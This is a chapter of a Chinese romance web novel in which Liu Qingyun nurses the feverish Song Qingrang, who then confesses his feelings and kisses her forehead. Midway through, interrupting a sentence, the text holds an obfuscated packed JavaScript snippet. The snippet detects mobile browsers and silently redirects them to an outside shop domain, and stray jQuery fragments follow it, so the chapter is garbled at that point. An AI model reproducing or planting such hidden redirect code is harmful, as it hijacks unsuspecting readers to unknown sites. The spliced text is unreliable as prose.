26. 春光
    柳轻筠没有说话,只是轻轻拍了拍宋清让。

    他仿佛察觉到什么,乖巧地阖上眼眸,长睫微微颤抖,整个人一下子变成脆弱的娃娃,一声不吭。

    一旁的蓝楹恨不得找个缝钻进去,她不敢往柳轻筠那边看,只好一个劲地朝外看,盼着车夫能再快些。

    宋清让强撑着直起身子,眼圈泛红,几分可怜,笑得莫名凄凉:“我知晓了,是我为难你了,你,你不必放在心上,我以后……”

    柳轻筠忍无可忍,一把按下宋清让的脑袋往自己怀里放,低声安抚这个因生病而情绪上头的人:“好了,你安静些,什么都好商量,听话。”

    一向清冷似霜的声音因为妥协而刻意放柔,宛如月光泻于掌心般动人,柳轻筠身上的淡香萦绕于宋清让的鼻尖,无限亲捻。

    他顺从地安静了,白皙长指紧紧攥住柳轻筠的衣袖。

    过了一会儿,一动都不敢动的蓝楹听见柳轻筠轻轻叹了口气,嘟囔着:“真难缠……”

    蓝楹心道还不是您太宠他了呀,舍不得看他难受这般哄着劝着,真愁人。

    当她们到达目的地,夫子找来的郎中刚好同一时间到达,柳轻筠指挥着众人将宋清让抬进自己的房间放至床上,郎中上前诊治了一番,说宋清让是劳累伤神,风寒入体,写了药方,柳轻筠交给蓝楹去抓药,自个守在宋清让身边。

    郎中为宋清让施了针,他得以醒来,恢复了几分理智。

    柳轻筠照郎中吩咐正拿着用酒泡过的帕子为他擦拭手腕及手臂,郎中前一刻出门去解手了,此时屋里只有他们二人。

    柳轻筠坐在床边,抓着他的手臂细细擦拭,场景可谓亲密过甚。宋清让睁大眼睛,面色更是腾地涨红,他挣扎了几下,奈何全身无力,柳轻筠发觉宋清让的意图,轻轻松松地扣住他的手腕压在枕头旁边。

    她拧着眉,不悦道:“闹什么?你在生病,别乱动。”

    宋清让兀自心慌意乱,声音都在发抖:“这,这,这不合规矩……”

    柳轻筠擦完最后几下,转头将帕子丢进盆里,再回过头看他:“这时候还讲起什么规矩来了,你安分躺着就是。”

    宋清让环顾四周:“这是哪?”

    柳轻筠这才想起先前忘记告诉宋清让她会搬到城里,眼下也不是解释的时机,敷衍地回答:“算是我的家。”

    岂料宋清让一听就炸了,他的眼睛霎时红了,一双桃花眼泛着盈盈的水光,脸颊红红的,声音哽咽:“你哄我,我去过你的家,这里不是,我们到底在哪里,你是不是,是不是想抛弃我?”

    柳轻筠听得头都大了,她有些无语凝噎,皱着眉斟酌措辞,宋清让看她冷着脸,更加委屈,两行眼泪说流就流:“我哪里不好?你只要说出来我一定会改的,为什么不要我?你身边有好多人,所以可以轻易舍弃一个对你无足轻重的人,对不对?”

    柳轻筠人都傻了,宋清让一通真情实感的指责,说得她像个玩弄别人的渣女似的,柳轻筠上前拭去他的泪水,正要开口,余光瞥见门口的身影,她以为蓝楹回来了,欣喜地回头。

    对上郎中谴责的目光。

    柳轻筠张了张嘴:“听我解释……”郎中没搭理她,”走进来察看宋清让的状况,取下银针收好,状似无意地说:“一个人可不能当负心人啊,会遭报应的。”

    柳轻筠刚要辩解,床上的宋清让像是听到什么关键词,忽然插嘴:“我舍不得,她即便负我,我也心甘情愿。”

    柳轻筠成功收获郎中的白眼,外加其意味深长的眼神,一直持续到蓝楹带药回来熬药,宋清让喝下,柳轻筠送他出门。

    柳轻筠顶着如此视线,在郎中要转身时才艰难出声:“我和他目前还没到那个程度,您不要误会。”

    郎中回过头,柳轻筠一眼便知道他不信,懒得再辩解,端上礼貌的笑容:“恕不远送。”,话落关门。

    真是奇了怪了,她明明好心救人,反倒落了个薄情人的名声,她往哪说理去。

    怀着一肚子怨气,柳轻筠回到房间,瞧见床上沉沉睡去的宋清让,他苍白的脸色让她再生不起气来。

    宋清让病了,让让他吧。

    柳轻筠戳了戳他的脸,自己都未曾注意到嘴角的笑意。

    宋清让醒来时,映入眼帘的是伸手不见五指的漆黑。

    他动了动唇,只觉干燥无比,口中发苦,黑暗中,宋清让难得放空了好一会,片刻后,记忆逐渐回来。

    几乎是瞬间,宋清让想将自己埋进地里。

    太失礼了,这太失礼了,他都对柳轻筠说了些什么啊,多年的诗书礼乐,克己复礼难不成学到狗肚子里去了?

    他在这唾弃自己,冷不丁听见一道浅浅的呼吸声。

    黑夜的浓稠寂静中,这道呼吸声是如此明显。

    宋清让顿了顿,伸出手朝外摸了摸,指尖触到一片温软,他彻底僵住。

    似是上天为成全他,乌云移开,一缕皎洁月光洒入室内,借着些许光亮,宋清让看清了伏在床边的身影。

    柳轻筠把脸蛋枕在手臂上,柳眉舒展,长睫安安静静地垂着,鼻尖一粒小痣,她笼在如银月光中,肌肤似暖玉。

    宋清让方才是碰触到了她的脸颊,此时此刻看着月下美人,他禁不住再次动了动指尖。

    滑腻的触感。

    柳轻筠没有反应,她睡沉了,宋清让盯了她好一会,直到双眼干涩才回过神来,趴过去凑近柳轻筠。

    两人近到呼吸相闻,在万籁俱静的深夜,是无人知晓的距离。

    宋清让垂下眼帘,目光所及,是柳轻筠的唇。

    ……狗肚子就狗肚子罢。

    他忍不住为自己的想法而自责,一边却缓缓贴近柳轻筠。

    一个轻柔如羽毛的吻,温柔地落在她的额头。

    宋清让凝视着她,似在看着世上唯一的珍宝,他闭上眼,喃喃道:“原谅我罢……”

    柳轻筠看似一无所觉,睡得安稳,徒留宋清让一人在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13789956|142748||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这个深夜里辗转反侧,心神摇曳,但他却未曾留意到,她抖动了一瞬的长睫。

    翌日清晨,柳轻筠是在床上醒来的,她茫然地坐起身,思绪尚未复苏,宋清让一身清爽地推门进来了,见她呆呆地坐在床上,挑了挑俊眉:“怎么了?”

    听见声音,柳轻筠移眸看向宋清让,伸手要揉眼睛,宋清让眼疾手快地拦下她的动作,嗓音低沉:“先别揉眼睛,洗个手再说。”

    柳轻筠醒神,双眼明亮地看着宋清让,将他上上下下巡视了一遍,舒了一口气:“你好得真快,不过也免得我担心。”

    她挣了挣被宋清让握住的手,他顺从地放开,但其细腻的感觉却挥之不去,宋清让低眼掩去眸底暗沉,笑问:“你很担心我?”

    柳轻筠伸了个懒腰,闻言,想都没想地回答:“你昨天吓到我了,我很担心你。”

    她下床,打算换件衣服,手刚放到腰间系带上,猛然记起屋内还有个人,回头一瞧,宋清让直直地盯着她看。

    柳轻筠抬了抬下巴,神态骄矜:“我要换衣服,你还要在这吗?”

    宋清让赶忙道歉:“抱歉,我一时没能领会到你的意思,见谅。”说着便退出房间关上门。

    关好门,宋清让挪开了几步,守在门口。

    他有些话想问她,比如昨日的胡闹之时,她状似随口的一句:“什么都可以商量。”

    那是什么意思?是否是他所想的意思?她,她这是在暗示他?

    宋清让纠结许久,不知不觉间,柳轻筠都已经换好衣服出来了,见他傻站在这,她推了推宋清让:“你在干嘛?”

    宋清让惊醒,大意之下竟语无伦次起来,到后面干脆破罐子破摔:“我,我是想说多谢你昨日的照料,不是,我其实是想问你,昨日的事你是怎么想的。”

    柳轻筠看出他眼底的希冀,她沉静地展颜,只说了三个字:“你病了。”

    就这么简简单单的三个字,击碎了宋清让所有的盼望。

    他的脸色瞬间苍白。

    柳轻筠不再看他,淡声道:“走吧,蓝楹应该做好早饭了,先吃点东西。”

    她转身的刹那,宋清让鼓起勇气攥住了柳轻筠的袖子,小声开口:“只有这个理由吗?再无其它?”

    语气是如此的小心翼翼,像是在向大人讨要心爱玩具的孩子。

    柳轻筠闭了闭眼,到底不忍心伤狠了他,无奈妥协:“你想要的,让我仔细想想,现在先吃饭,好吗?”

    听出了一丝转圜的可能性,他不敢逼得太紧,乖乖应和:“好。”

    柳轻筠走在前面,宋清让亦步亦趋地跟在她身后,一双眼珠子根本是黏在了她身上。

    蓝楹敏锐地察觉到这两人之间奇怪的氛围,心中猜测是谁捅破了这层窗户纸。

    柳轻筠表面专注地吃着东西,心里无比翻江倒海。

    她本来打算就这么糊弄过去的,虽然昨晚的那个吻让柳轻筠心里的猜测成了真,可她不打算摆明啊。